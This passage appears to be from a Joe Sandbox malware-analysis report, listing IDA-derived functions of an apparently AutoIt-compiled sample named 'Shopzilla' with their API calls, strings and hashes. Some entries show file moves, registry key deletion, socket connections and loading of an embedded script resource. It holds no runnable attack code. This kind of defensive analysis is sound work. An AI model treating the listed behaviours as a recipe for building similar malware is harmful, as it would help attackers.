_wcsncpy.LIBCMT ref: 00C05A99
_wcsncpy.LIBCMT ref: 00C05ACC
_wcsncpy.LIBCMT ref: 00C05B0E
_wcsncpy.LIBCMT ref: 00C05B48
_wcsncpy.LIBCMT ref: 00C05B77

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: d5159afe93222a7b0cd8f20a1705cedb10734a0bee44ad929f301ebecc6d36e5
Instruction ID: c496542f48fe548491fd450898b7b4140a8a9e12ccd7725da6d61ba1f558c281
Opcode Fuzzy Hash: d5159afe93222a7b0cd8f20a1705cedb10734a0bee44ad929f301ebecc6d36e5
Instruction Fuzzy Hash: 33418FB5C2061476CB11EBA4888AECFB3FC9F05310F5084AAF519E3261EB75E355C7A9

Function 00C039D1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C04A30: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00C039F7,?), ref: 00C04A4D

Part of subcall function 00C04A30: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00C039F7,?), ref: 00C04A66

lstrcmpiW.KERNEL32(?,?), ref: 00C03A17
_wcscmp.LIBCMT ref: 00C03A33
MoveFileW.KERNEL32(?,?), ref: 00C03A4B
_wcscat.LIBCMT ref: 00C03A93
SHFileOperationW.SHELL32(?), ref: 00C03AFF

Strings

\*.*, xrefs: 00C03A8D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 71055a3f53f44221ce196fb91fcdae493318673bc9c5a1f5c88ae38637f65595
Instruction ID: 4dd171bff9a194301e48a0508fe686ee52c7289d59d49861444ce6b327782389
Opcode Fuzzy Hash: 71055a3f53f44221ce196fb91fcdae493318673bc9c5a1f5c88ae38637f65595
Instruction Fuzzy Hash: A1419DB1608384AEC755EF64D441AEFB7ECEF88340F40096EB49AC3191EA34D789C766

Function 00C2767E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C27697
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00C2773E
IsMenu.USER32(?), ref: 00C27756
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00C2779E
DrawMenuBar.USER32 ref: 00C277B1

Strings

0, xrefs: 00C2768B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: e17751265214dead3bdc6d73062c2c64c444d4859a8c5b9d0e014f235afab4f6
Instruction ID: 74fe6c2ab0ed54fe1e14571d402d3e8a051c97da077a38881fe63fbd2104ad84
Opcode Fuzzy Hash: e17751265214dead3bdc6d73062c2c64c444d4859a8c5b9d0e014f235afab4f6
Instruction Fuzzy Hash: 2B414975A04219AFDB21DF60E8C4E9ABBF8FB08314F148269ED1597760D770AE50CFA0

Function 00C213CA Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00C213F9
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00C21423
FreeLibrary.KERNEL32(00000000), ref: 00C214DA

Part of subcall function 00C213CA: RegCloseKey.ADVAPI32(?), ref: 00C21440
Part of subcall function 00C213CA: FreeLibrary.KERNEL32(?), ref: 00C21492
Part of subcall function 00C213CA: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00C214B5

RegDeleteKeyW.ADVAPI32(?,?), ref: 00C2147D

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 205c6c12540452fe7a2e9b919f3baf146ea2937a6d84e95c58ac9a1ff8f25883
Instruction ID: 26a5a0f390102f2b6f121196c20597d5c53a99c7e65c6d849aaf479abcf32ced
Opcode Fuzzy Hash: 205c6c12540452fe7a2e9b919f3baf146ea2937a6d84e95c58ac9a1ff8f25883
Instruction Fuzzy Hash: 41314B71910119BFDB18DF90EC89BFEB7BCEF18340F14016AE916A2541EB74AF459BA0

Function 00C266BA Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00C266D9
GetWindowLongW.USER32(00D356E0,000000F0), ref: 00C2670C
GetWindowLongW.USER32(00D356E0,000000F0), ref: 00C26741
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00C26773
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00C2679D
GetWindowLongW.USER32(?,000000F0), ref: 00C267AE
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00C267C8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: a8c783d4d3978948d1403a187f5e7599f85f8b23e1be779ab7bc9cad3103af16
Instruction ID: b0f9f74dfe356e72b5b3a7ae58d8d4a534423796c58a4620f9f6585d925a0ef8
Opcode Fuzzy Hash: a8c783d4d3978948d1403a187f5e7599f85f8b23e1be779ab7bc9cad3103af16
Instruction Fuzzy Hash: 3B3159352041609FDB20CF19EC95F5937E5FB89B14F2901A4FA108B6B2CB71AD50DBA0

Function 00BFE06A Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BFE0AD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BFE0D3
SysAllocString.OLEAUT32(00000000), ref: 00BFE0D6
SysAllocString.OLEAUT32(?), ref: 00BFE0F4
SysFreeString.OLEAUT32(?), ref: 00BFE0FD
StringFromGUID2.OLE32(?,?,00000028), ref: 00BFE122
SysAllocString.OLEAUT32(?), ref: 00BFE130

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 7661b516362f68ae180cc8dd3285f12e354150de27969ae31a81139b5c658e87
Instruction ID: 901618e1e00e556ec71c2ce1c6f06ab8c74e2aa22393607988cc9c80d13a8066
Opcode Fuzzy Hash: 7661b516362f68ae180cc8dd3285f12e354150de27969ae31a81139b5c658e87
Instruction Fuzzy Hash: 6E21B73260020DAF9B10DFB8CC84DBF73ECEB08360B148569FA24DB160D670DD458760

Function 00C16623 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C1823D: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00C18268

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00C16676
WSAGetLastError.WSOCK32(00000000), ref: 00C16685
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00C166BE
connect.WSOCK32(00000000,?,00000010), ref: 00C166C7
WSAGetLastError.WSOCK32 ref: 00C166D1
closesocket.WSOCK32(00000000), ref: 00C166FA
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00C16713

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 99d8a31ba376fccb44857eafdeab5a6042f519d5bdbe01839d5136f139bc43a1
Instruction ID: 9fe8cd41508435a23b7411b79b43e192541551c13409ab77faf7ea61f9c5b658
Opcode Fuzzy Hash: 99d8a31ba376fccb44857eafdeab5a6042f519d5bdbe01839d5136f139bc43a1
Instruction Fuzzy Hash: 6331C071600208AFDB10AF64CC85BFE77ECEB46764F108069FD55A72D1DB70AD849BA1

Function 00BFE143 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BFE188
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00BFE1AE
SysAllocString.OLEAUT32(00000000), ref: 00BFE1B1
SysAllocString.OLEAUT32 ref: 00BFE1D2
SysFreeString.OLEAUT32 ref: 00BFE1DB
StringFromGUID2.OLE32(?,?,00000028), ref: 00BFE1F5
SysAllocString.OLEAUT32(?), ref: 00BFE203

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: b2005be5c3bbc01cdd2353470596b365fdd03c44c7364092b9088b85f530198b
Instruction ID: cc8775852742a87e00fbe088df642f5f560b093f7e9eaf9a122a7ba3dfe2715a
Opcode Fuzzy Hash: b2005be5c3bbc01cdd2353470596b365fdd03c44c7364092b9088b85f530198b
Instruction Fuzzy Hash: 59218B32604108AF9B109FADDC88EBE77ECFB09360B108165FB25CB1B0D670ED458B64

Function 00BFFBFC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00BFFC0F
__wcsnicmp.LIBCMT ref: 00BFFC30
__wcsnicmp.LIBCMT ref: 00BFFC4A

Strings

#OnAutoItStartRegister, xrefs: 00BFFC44
#requireadmin, xrefs: 00BFFC2A
#notrayicon, xrefs: 00BFFC07

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 5812ea22b7cf69a1e4bd30ae209ec33121ff345e5c1ba0947fb4663658c75618
Instruction ID: 3716afd6050caeab4c315e91b8e2fa34a9df42b539f0d266d05b65cfaa861f38
Opcode Fuzzy Hash: 5812ea22b7cf69a1e4bd30ae209ec33121ff345e5c1ba0947fb4663658c75618
Instruction Fuzzy Hash: 2121293210452F6AD320B7259C52FBBB3D8EF51740F5044BAFE4687182EBA1AD85C395

Function 00C279BA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BA214F
Part of subcall function 00BA2111: GetStockObject.GDI32(00000011), ref: 00BA2163
Part of subcall function 00BA2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00BA216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00C27A1F
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00C27A2C
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00C27A37
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00C27A46
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00C27A52

Strings

Msctls_Progress32, xrefs: 00C279F0

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 02cc18f3f3a0437cf53b051d8f5376f332db136c9c2299e244fe0fd2a71d6f5f
Instruction ID: e27b79198db8acc36db3f7a6064d500027128efebe69e968d501b0f40a0e668c
Opcode Fuzzy Hash: 02cc18f3f3a0437cf53b051d8f5376f332db136c9c2299e244fe0fd2a71d6f5f
Instruction Fuzzy Hash: EB1193B2110219BFEF119F61DC85EEB7F6DEF08768F014215BB04A2050C6719C61DBA0

Function 00C09D45 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00BF0797,?,?,00000000,00000000), ref: 00C09D55
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00BF0797,?,?,00000000,00000000), ref: 00C09D6C
LoadResource.KERNEL32(?,00000000,?,?,00BF0797,?,?,00000000,00000000,?,?,?,?,?,?,00BB4A14), ref: 00C09D7C
SizeofResource.KERNEL32(?,00000000,?,?,00BF0797,?,?,00000000,00000000,?,?,?,?,?,?,00BB4A14), ref: 00C09D8D
LockResource.KERNEL32(00BF0797,?,?,00BF0797,?,?,00000000,00000000,?,?,?,?,?,?,00BB4A14,00000000), ref: 00C09D9C

Strings

SCRIPT, xrefs: 00C09D62

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: ea1d194274c05b22d23241a968d82e8c7941247eee18d1cc0e0c44660e7ed48d
Instruction ID: d1552a6a70e5785c988691f807be87c3deedd27eb0e8fa7514a09cd623be86f7
Opcode Fuzzy Hash: ea1d194274c05b22d23241a968d82e8c7941247eee18d1cc0e0c44660e7ed48d
Instruction Fuzzy Hash: 25113CB1240701BFE7258B65DC58F277BB9EBC5B11F2442ACF815962A1DB72EC00C660

Function 00BC9C46 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00BC9C46

Part of subcall function 00BC32E9: EncodePointer.KERNEL32(00000000), ref: 00BC32EC
Part of subcall function 00BC32E9: __initp_misc_winsig.LIBCMT ref: 00BC3307
Part of subcall function 00BC32E9: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00BCA000
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00BCA014
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00BCA027
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00BCA03A
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00BCA04D
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00BCA060
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00BCA073
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00BCA086
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00BCA099
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00BCA0AC
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00BCA0BF
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00BCA0D2
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00BCA0E5
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00BCA0F8
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00BCA10B
Part of subcall function 00BC32E9: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00BCA11E

__mtinitlocks.LIBCMT ref: 00BC9C4B
__mtterm.LIBCMT ref: 00BC9C54

Part of subcall function 00BC9CBC: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00BC9C59,00BC7E2D,00C5B0B8,00000014), ref: 00BC9DB6
Part of subcall function 00BC9CBC: _free.LIBCMT ref: 00BC9DBD
Part of subcall function 00BC9CBC: DeleteCriticalSection.KERNEL32(00C5FC00,?,?,00BC9C59,00BC7E2D,00C5B0B8,00000014), ref: 00BC9DDF

__calloc_crt.LIBCMT ref: 00BC9C79
__initptd.LIBCMT ref: 00BC9C9B
GetCurrentThreadId.KERNEL32 ref: 00BC9CA2

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2020a08d5e39ecd3bfc74a971dea29aa51a1c51b1eb7e663daf25034da9e6746
Instruction ID: 1ade20f8c96dae42b2d4b9eaac17d95b807797c25a9368dc1f48e27f55422835
Opcode Fuzzy Hash: 2020a08d5e39ecd3bfc74a971dea29aa51a1c51b1eb7e663daf25034da9e6746
Instruction Fuzzy Hash: D1F06D32659B1169FA3877787C0BF9B37D0DB02730B2006AEF460D50E2EE2189815590

Function 00BC40E9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00BC41B2,?), ref: 00BC4103
GetProcAddress.KERNEL32(00000000), ref: 00BC410A
EncodePointer.KERNEL32(00000000), ref: 00BC4116
DecodePointer.KERNEL32(00000001,00BC41B2,?), ref: 00BC4133

Strings

RoInitialize, xrefs: 00BC40F2
combase.dll, xrefs: 00BC40FE

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: ed439c3bb977d6f9f70c70cabf718a45929b098a121c9b610c0b02917a454aea
Instruction ID: 3e841ff0132df6017f1372cdd0e00baffd05d2e77c13f5e312ee144805117013
Opcode Fuzzy Hash: ed439c3bb977d6f9f70c70cabf718a45929b098a121c9b610c0b02917a454aea
Instruction Fuzzy Hash: 7AE0E5B16A0341AFDE601F71EC5DB4C3AA4E726B02F605468F451E50B0DBF941948B00

Function 00BC41BE Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00BC40D8), ref: 00BC41D8
GetProcAddress.KERNEL32(00000000), ref: 00BC41DF
EncodePointer.KERNEL32(00000000), ref: 00BC41EA
DecodePointer.KERNEL32(00BC40D8), ref: 00BC4205

Strings

combase.dll, xrefs: 00BC41D3
RoUninitialize, xrefs: 00BC41C7

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: a39a4ddee0a3b86941056a978e53c57462e20169eed957e656ce7c1cd327052c
Instruction ID: 18d73e7d0c110f11ccf538238ec9be7fc89f887cd1c80a1ce47e2d7fe4dbe832
Opcode Fuzzy Hash: a39a4ddee0a3b86941056a978e53c57462e20169eed957e656ce7c1cd327052c
Instruction Fuzzy Hash: F0E0BD7A6B1300ABEB649F61BD2EF4D3AA4BB22B02F200069F041E50B0CBF54685CB10

Function 00BA218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BA21B8
GetWindowRect.USER32(?,?), ref: 00BA21F9
ScreenToClient.USER32(?,?), ref: 00BA2221
GetClientRect.USER32(?,?), ref: 00BA2350
GetWindowRect.USER32(?,?), ref: 00BA2369

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
